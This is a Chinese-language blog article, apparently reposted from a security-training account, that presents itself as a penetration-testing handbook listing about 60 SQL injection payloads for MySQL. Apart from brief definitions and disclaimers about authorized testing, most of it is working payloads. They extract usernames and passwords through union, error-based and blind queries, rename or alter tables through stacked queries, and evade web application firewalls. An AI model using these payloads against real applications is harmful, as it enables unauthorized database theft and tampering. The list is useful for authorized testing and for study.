文章总结: 本文提供了60个常用SQL注入Payload清单,涵盖联合查询、报错注入、布尔盲注及时间盲注等核心技术,并详细介绍了堆叠查询、编码绕过及WAF规避等高级技巧。文档强调了合法授权测试的重要性,并总结了实用的自动化检测流程。安全人员可利用此手册进行高效的漏洞评估与代码审计,构建更有效的防护方案。 综合评分: 88 文章分类: 渗透测试,WEB安全,漏洞POC,漏洞分析,红队
渗透测试手册:60个常用SQL注入Payload清单
原创
小智 小智
智榜样网络安全学习中心
2026年2月11日 15:09 中国香港
❝
💖 温馨提示:本文所有技术内容仅用于授权安全测试和教育研究。未经授权对任何系统进行测试属于违法行为,请严格遵守相关法律法规!
一、理解SQL注入的本质
1.1 什么是SQL注入?
SQL注入是一种通过操纵应用程序输入来干扰后端SQL查询的技术漏洞。攻击者利用此漏洞可以:
- 读取敏感数据库信息
- 修改或删除数据
- 执行数据库管理操作
1.2 为什么安全人员需要了解SQL注入?
- 漏洞评估:在授权测试中识别和验证漏洞
- 代码审计:帮助开发人员编写更安全的代码
- 防御建设:基于攻击技术设计更有效的防护方案
1.3 合法测试环境要求
- ✅ 自己拥有或获得明确授权的系统
- ✅ 隔离的测试环境
- ✅ 明确的学习和研究目的
想要学习更多的渗透测试知识?欢迎关注我们官方的B站,每天更新在线的学习视频,点击下方链接 B站官方账号
二、SQL注入技术分类
2.1 联合查询注入技术
2.1.1 探测字段数量
' ORDER BY 1--
' ORDER BY 10--
2.1.2 构造联合查询
' UNION SELECT NULL,NULL,NULL--
' UNION SELECT 1,@@version,database()--
2.1.3 获取数据库信息
' UNION SELECT NULL,database(),NULL,NULL--
' UNION SELECT NULL,version(),NULL,NULL--
' UNION SELECT NULL,user(),NULL,NULL--
2.1.4 枚举表结构
' UNION SELECT NULL,table_name,NULL,NULL FROM information_schema.tables
WHERE table_schema=database()--
' UNION SELECT NULL,group_concat(table_name),NULL,NULL
FROM information_schema.tables WHERE table_schema=database()--
2.1.5 提取列信息
' UNION SELECT NULL,column_name,NULL,NULL FROM information_schema.columns
WHERE table_schema=database() AND table_name='users'--
' UNION SELECT NULL,group_concat(column_name),NULL,NULL
FROM information_schema.columns WHERE table_schema=database() AND table_name='users'--
2.1.6 提取数据
' UNION SELECT NULL,concat(username,':',password),NULL,NULL FROM users--
' UNION SELECT NULL,group_concat(concat(username,0x3a,password)),NULL,NULL FROM users--
2.2 报错注入
2.2.1 ExtractValue函数利用
' AND extractvalue(1,concat(0x7e,(SELECT database())))--
' AND extractvalue(1,concat(0x7e,(SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1)))--
2.2.2 UpdateXML函数利用
' AND updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)--
' AND updatexml(1,concat(0x7e,(SELECT password FROM users LIMIT 0,1),0x7e),1)--
2.2.3 数值溢出
' AND exp(~(SELECT * FROM (SELECT database())a))--
' AND (SELECT 1 FROM (SELECT count(*),concat(database(),floor(rand(0)*2))x
FROM information_schema.tables GROUP BY x)a)--
2.3 堆叠查询注入
2.3.1 数据库结构
'; SHOW databases--
'; SHOW tables--
'; SHOW columns FROM users--
2.3.2 表操作
'; RENAME TABLE users TO temp_users; RENAME TABLE admin TO users--
'; ALTER TABLE users CHANGE password pass_hash VARCHAR(255)--
2.3.3 Handler数据读取
'; HANDLER users OPEN; HANDLER users READ FIRST; HANDLER users CLOSE--
2.3.4 预处理语句绕过
'; SET @sql=0x73656c6563742031; PREPARE stmt FROM @sql; EXECUTE stmt--
'; PREPARE stmt FROM CONCAT('S','ELECT * FROM users'); EXECUTE stmt--
2.4 布尔盲注技术
2.4.1 探测数据库信息
' AND length(database())=5--
' AND ascii(substring(database(),1,1))>100--
2.4.2 枚举表结构
' AND (SELECT count(table_name) FROM information_schema.tables
WHERE table_schema=database())>0--
' AND ascii(substring((SELECT table_name FROM information_schema.tables
WHERE table_schema=database() LIMIT 0,1),1,1))>100--
2.4.3 列信息获取
' AND (SELECT count(column_name) FROM information_schema.columns
WHERE table_name='users')=3--
' AND ascii(substring((SELECT column_name FROM information_schema.columns
WHERE table_name='users' LIMIT 0,1),1,1))>100--
2.4.4 数据提取
' AND ascii(substring((SELECT username FROM users LIMIT 0,1),1,1))=97--
' AND (SELECT count(*) FROM users WHERE username='admin')=1--
2.5 时间盲注技术
2.5.1 基础时间延迟
' AND IF(1=1,SLEEP(5),0)--
' AND IF(length(database())=5,SLEEP(3),0)--
2.5.2 条件时间延迟
' AND IF(ascii(substring(database(),1,1))>100,BENCHMARK(1000000,MD5('test')),0)--
2.5.3 复杂条件判断
' AND IF((SELECT count(*) FROM users)=10,SLEEP(3),0)--
' AND IF(EXISTS(SELECT * FROM information_schema.tables
WHERE table_schema=database() AND table_name='users'),SLEEP(3),0)--
2.5.4 数据提取延迟
' AND IF(ascii(substring((SELECT password FROM users WHERE username='admin'),1,1))=97,
SLEEP(3),0)--
2.6 高级绕过技术
2.6.1 编码绕过
' AND 1=1--
' UNION SELECT 1,hex(database()),3,4--
2.6.2 注释符变种
' OR 1=1/*
' OR 1=1;--
' OR 1=1%23
2.6.3 空格绕过
'OR'1'='1
'UNION/**/SELECT/**/1,2,3--
2.6.4 比较操作符绕过
' OR 1 LIKE 1--
' OR true != false--
2.7 防御规避技术
2.7.1 WAF绕过
' UNIunionON SELselectECT 1,2,3--
' /*!50000UNION*/ SELECT 1,2,3--
2.7.2 大小写混合
' uNiOn SeLeCt 1,2,3--
' UnIoN aLl SeLeCt 1,2,3--
2.7.3 参数污染
?id=1'/*&id=*/UNION/*&id=*/SELECT 1,2,3--
2.8 实用检测流程
2.8.1 基础检测步骤
- 单引号检测:
' - 布尔检测:
' AND '1'='1/' AND '1'='2 - 联合查询检测:
' ORDER BY 10-- - 错误检测:
' AND 1=cast(@@version as int)--
2.8.2 自动化检测要点
-- 快速检测语句
' OR 1=1--
' UNION SELECT NULL,NULL--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
三、🎯 文末福利
分享本文到朋友圈,点赞+在看+关注,一键三联,可以凭截图找老师领取
上千学习资料+工具哦
22919c6e4ef945aa9a9cbf0f6df4f6ff
分享后扫码加我!
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:智榜样网络安全学习中心 小智 小智《渗透测试手册:60个常用SQL注入Payload清单》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论